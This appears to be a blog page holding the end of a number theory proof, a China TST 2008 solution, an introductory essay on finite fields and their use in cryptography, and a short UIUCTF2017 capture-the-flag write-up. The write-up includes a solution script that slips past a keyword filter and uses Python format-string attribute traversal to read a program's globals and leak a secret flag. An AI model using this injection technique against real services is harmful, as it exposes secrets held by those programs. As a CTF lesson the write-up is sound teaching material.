Therefore x^{2^n + 2} = 1 and the order of x MUST be 2^{n + 2} (otherwise x^{2^{n + 1}} = -1 is impossible), so 2^{n + 2} \mid p^2 - 1. Suppose x \in \FF_p. Then we know that 2^{n + 2} \mid p - 1 so trivially 2^{n + 3} \mid p^2 - 1. Now suppose not. Then x, y are roots of irreducible X^2 - 4X + 1 \in \FF_p[X]. Raising the equality x^p -4x + 1 = 0 to the p-th power, we get that x^{2p} - 4x^p + 1 = 0. If x^p = 1, then x^p is either x or y. If x^p = x, then x \in \FF_p so we must have the latter, x^p = y, which implies x^{p + 1} = 1. But then, 2^{n + 2} \mid p + 1, so we trivially obtain 2^{n + 3} \mid p^2 - 1.

Problem: (China TST 2008) Let x_1 = 2, x_2 = 12, x_{n + 2} = 6x_{n + 1} - x_n. Let p be an odd prime and q be a prime divisor of x_p. Prove that if q \neq 2, 3, then q \geq 2p - 1.

Solution: Compute

    \[ x_n = \frac{\left( 3 + \sqrt{8} \right)^n - \left( 3 - \sqrt{8} \right)^n}{\sqrt{8}}. \]

Like, before, we can take \alpha^2 = 2 in \overline{\ZZ_q} and define the ring homomorphism \phi. Let x = \phi(3 + 2 \sqrt{2}) and y = \phi(3 - 2 \sqrt{2}). We clearly have

    \[ x^p - y^p = 0. \]

Compute xy = \phi(1) = 1 and using a similar trick in the previous problem, compute

    \[ x^p + y^p = \pm 2, \]

so x^p = y^p = \pm 1. Let us focus on the equality x^{2p} = 1. If x \in \FF_q, then the order is either 1, p, or 2p. If the order is 1, then x = 1 and 2 = -2 \alpha, and squaring yields 4 = 8 which is only true in \FF_{2^n}, but q \neq 2. If the order is p, then p \mid q^2 - 1, so p \mid q - 1 or p \mid q + 1. If p \mid q - 1, then q \neq 2, 3 forces p \leq \frac{q - 1}{2} (p is an odd prime). Similarly, if p \mid q + 1, then p \leq \frac{q + 1}{2}. If the order is 2p, then 2p \mid q^2 - 1, or p \mid \frac{q^2 - 1}{2}, or p \mid \frac{q - 1}{2} \cdot (p + 1) or p \mid \frac{q + 1}{2} \cdot (q - 1), both which eventually give the desired inequality. Notice that this only works if 2 is not a quadratic residue mod q. However, if 2 is a quadratic residue mod q, then we get either p \mid q - 1 or 2p \mid q - 1, both of which yield the desired result.

Posted in Math | Leave a comment

Finite Fields for Mortals

I’ve been studying a bunch of cryptography lately, and I thought it would be nice to present finite fields in some relatively easy to understand way that doesn’t require too much prior knowledge. All that is really needed here is a basic understanding of fields from an abstract algebra class and some introductory number theory.

We say a field F with multiplicative identity e has characteristic p if p \cdot e = 0. If F is infinite then it has characteristic 0. We are primarily interested in the finite case.

We get this nice little corollary: Let F be a field of positive characteristic p. Then p is prime.

Proof: Suppose p is not prime. Then p = ab and p \cdot e = ab \cdot e = (a \cdot e) \cdot (b \cdot e) = 0, so F has zero divisors and is not a field.

Here is another really easy to understand corollary: Let F be a field of characteristic p. Then F is a vector space over \ZZ_p = \ZZ/p\ZZ.

Proof: Trivial. Just write out the canonical action via \ZZ_p and everything just works.

If you’ve taken any sort of linear algebra, we now realize that because F is finite dimensional over \ZZ_p, we can write F \simeq (\ZZ_p)^n, and the standard notation for this is F = \FF_{p^n}.

The obvious question now is, given p^n, can we construct a field of that size, and the answer is yes. Let f be an irreducible polynomial in \ZZ_p[X] of degree n. I claim \ZZ_p[X] / \cycgroup{f} is a field of size p^n and characteristic p.

Proof: Characteristic is quite easily seen because of the base ring taking coefficients in \ZZ_p. To see that this quotient has p^n elements, we can see that each of the polynomials of \ZZ_p[X] of degree less than n are distinct and there are precisely p^n of those. For polynomials of degree at least n, we can replace them with polynomials of degree less than n, so this works. More precisely, for each term of degree k \geq n, we can find a polynomial of g of degree k \in \cycgroup{f} such that c_1 X^k - c_2 g has degree less than k because \ZZ_p is a field and we repeat until the degrees are within the desired range.

Okay, so this is at least a ring, but how are we so sure that it is a field? One easy way to see this comes from the theory of commutative rings. If R is a commutative ring and I is a maximal ideal, then R / I is a field, and \cycgroup{f} is maximal if and only if f is irreducible (the ideal generated by one of the factors is a “larger” ideal). We will prove the previous statement.

Proof: Let R be commutative and I be a maximal ideal. Let [r] \in R / I be non-zero so that r + I is non-zero. Define X = \lbrace i + rs : i \in I, s \in R \rbrace. This is clearly non-empty so take x, y \in X and write x = i_1 + rs_1, y = i_2 + rs_2, where it becomes quite obvious that x + y \in X. Now take some X \ni x = i + rs, s' \in R, compute xs' = is' + rss' = s'x, so X is also an ideal. On the other hand, we have I \subseteq X \subseteq R, but r \not \in I and r \in X, so I \subset X \subseteq R, but I is maximal so X = R, so 1 \in X, or there exists i \in I, s \in R such that 1 = i + rs, or 1 + I = rs + I = (r + I) (s + I), and s + I = [s] = [r]^{-1}.

So now all that remains is to show that there is always some irreducible polynomial and we can always construct a finite field. We will need the following useful theorems.

Theorem 1: If K is a finite field, then the group of units K^* is cyclic and there is a generator x \in K^* with order |K| - 1.

Proof: We follow the classical proof of showing the existence of primitive roots modulo p. In fact, this is precisely the analogous statement for primitive roots modulo p but for finite fields.

Let K = \FF_{p^n}. For all d \mid p^n - 1, we define the set A_d = \lbrace f \in K : \ord(f) = d \rbrace. Any element has an order that divides |K^*|, so this forms a partition. Namely,

    \[ \sum_{d \mid p^n - 1} |A_d| = |K^*| = p^n - 1. \]

I claim for any d we have |A_d| \leq \varphi(d). If |A_d| is empty, we are done so pick any element a of order d from A_d. In particular, this means that 1, a, a^2, \dots, a^{d - 1} are distinct solutions of X^d = 1. This polynomial X^d - 1 has at most d solutions in K and thus in K^* as well (it’s easy to check that zero is not a solution). Hence if we pick arbitrary x \in A_d, there exists some 0 \leq i \leq d - 1 such that a^i = x, but the order of x is precisely d, so \gcd(i, d) = 1. The set \lbrace a^i \mid \gcd(i, d) = 1 \rbrace has precisely \varphi(d) elements, and A_d is a subset of that, which gives us the result.

We then recall that the sum

    \[ \sum_{d \mid n} \varphi(d) = n. \]

This implies that |A_d| = \varphi(d) via a simple size argument. In particular, we now know that |A_{p^n - 1}| \geq 1 and any element of A_{p^n - 1} should generate \FF_{p^n} by definition.

Theorem 2: The product of all irreducible monic polynomials f \in \FF_p[X] such that \deg(f) \mid n is X^{p^n} - X.

Proof: Let P be this product. P is squarefree in \FF_p[X] because it is relatively prime to its derivative, which is -1. Thus to show that P = X^{p^n} - X, we only need to show that they share the same monic irreducible factors.

Let f be a monic irreducible factor of X^{p^n} - X of degree d. Then K = \FF_p[X] / \cycgroup{f} is a finite field with p^d elements. I claim that x^{p^n} = x for all x \in K. Write x = a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1}. We have, by the freshman dream, the following computation.

    \[ \begin{aligned} x^{p^n} &= (a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1})^{p^n} \\ &= a_0^{p^n} + a_1^{p^n} X^{p^n} + \cdots + a_{d - 1}^{p^n} X^{(d - 1) p^n} \\ &= a_0 + a_1 X^{p^n} + \cdots + a_{d - 1} X^{(d - 1) p^n} \\ &= a_0 + a_1 X + \cdots + a_{d - 1} X^{d - 1} \\ &= x, \\ \end{aligned} \]

where the final equality stems from the fact that X^{c p^n} - X^c = (X^{p^n} - X)(\dots) \in \cycgroup{f}. Now pick x \in K^* of order p^d - 1, so we obtain p^d - 1 \mid p^n - 1 \iff d \mid n, so monic irreducible factors of X^{p^n} - X have degree that divides n.

Now take some f \in \FF_p[X] that is monic, irreducible, and of degree d \mid n. Take K = \FF_p[X] / \cycgroup{f} as a field with p^d elements, so X^{p^d} = X. Since d \mid n, we easily obtain X^{p^n} = X, which is what we needed.

Corollary: If N_n is the number of monic irreducible polynomials in \FF_p[X] of degree n, then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof: We know that X^{p^n} - X is the product of all monic irreducible polynomials with degree dividing n. Taking the degrees of both sides of this equality yields

    \[ p^n &= \sum_{d \mid n} d N_d, \]

which is precisely what we wanted.

Another corollary: N_n > 0 for all n \geq 1.

Proof: We take the Möbius inversion of the above equality. In particular, this yields,

    \[ n N_n = \sum_{d \mid n} \mu \left(\frac{n}{d}\right) p^d. \]

Note that p^n > 1 + p + p^2 + \cdots + p^{n - 1} so the RHS is most definitely positive, so N_n > 0.

All that is really left to show for basic properties of finite fields is that they are unique up to isomorphism. Namely, if f, g are both irreducible polynomials of the same degree, then \ZZ_p[X] / \cycgroup{f} \simeq \ZZ_p[X] / \cycgroup{g}. I leave this as an exercise to the reader.

So why finite fields? Well a lot of modern cryptography is done over finite fields. Namely, AES does computations in GF(2^8) \simeq \FF_{2^8}. Elliptic curves can also be defined over any field. In particular, cryptography is interested in the case where the fields are finite. Elliptic curves over \CC presents a lot of rich structure as well, but is not of any real cryptographic use to my knowledge. More specifically, standard ECC and ECDH can be done over any finite field, but in the case of SIDH (supersingular isogeny Diffie-Hellman), our curves are over \FF_{p^2}. Visually, it makes absolutely no sense to visualize polynomials as coordinate points but the algebra checks out and that’s all you really need to care about. Visualizations over \RR and maybe \FF_p should give you enough intuition to work in other fields. Anyways, I am excited to see more uses of finite fields to confuse a bunch of aspiring CS students as well as whatever people will use it for in the future.

Posted in CTF, Math | Leave a comment

UIUCTF2017 – uiuctfsck

This was a brainfuck interpreter that let you print out some internal machine state. Notice that the interpreter does not like it if we have the string “machine” in our format string. We examine the machine object, and notice that machines[i].__init__.__globals__ had our flag, so as long as we could get our format string to contain “machine” after the check, we are in the clear. Luckily, there are 3 hex characters in “mAChinE”, so setting our data pointer to 0xAC, 0xA, 0xC, 0xE with the corresponding %x in the correct place in the format string “{machine.__init__.__globals__[flag]}” would print out the flag. The reference solution is posted below.

from interpreter import interpret_program

prog = ">"*0xac
format_attack = "{m%xhine.__init__.__globals__[flag]}"
for char in format_attack:
    prog += "+"*ord(char) + ">"
prog += "<"*len(format_attack)
prog += '.'

interpret_program(prog)
print(prog)
Posted in CTF | Leave a comment